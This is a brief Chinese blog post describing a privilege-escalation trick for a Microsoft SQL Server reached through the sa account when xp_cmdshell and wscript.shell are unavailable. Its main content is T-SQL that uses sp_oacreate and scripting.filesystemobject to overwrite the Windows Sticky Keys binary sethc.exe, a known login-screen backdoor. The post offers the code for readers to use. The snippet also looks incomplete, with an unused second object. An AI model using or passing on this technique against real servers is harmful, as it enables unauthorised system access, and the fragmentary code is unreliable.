sa 无xp_cmdshell下取权限又一简单方法

  sa 无xp_cmdshell下取权限又一简单方法 收藏
导读:
  在用exec sp_oacreate 'wscript.shell'也没办法的情况下。。可用此方法
  (很多服务器都把'wscript.shell'给删了。)
  上网找了些资料,得到下面方法:
  复制文件:
  declare @o int
  exec sp_oacreate 'scripting.filesystemobject', @o out
  exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
  declare @oo int
  exec sp_oacreate 'scripting.filesystemobject', @oo out
  此法随无技术可言,希望对某些人有点用。


 

你可能感兴趣的:(权限,职场,休闲,cmdshell)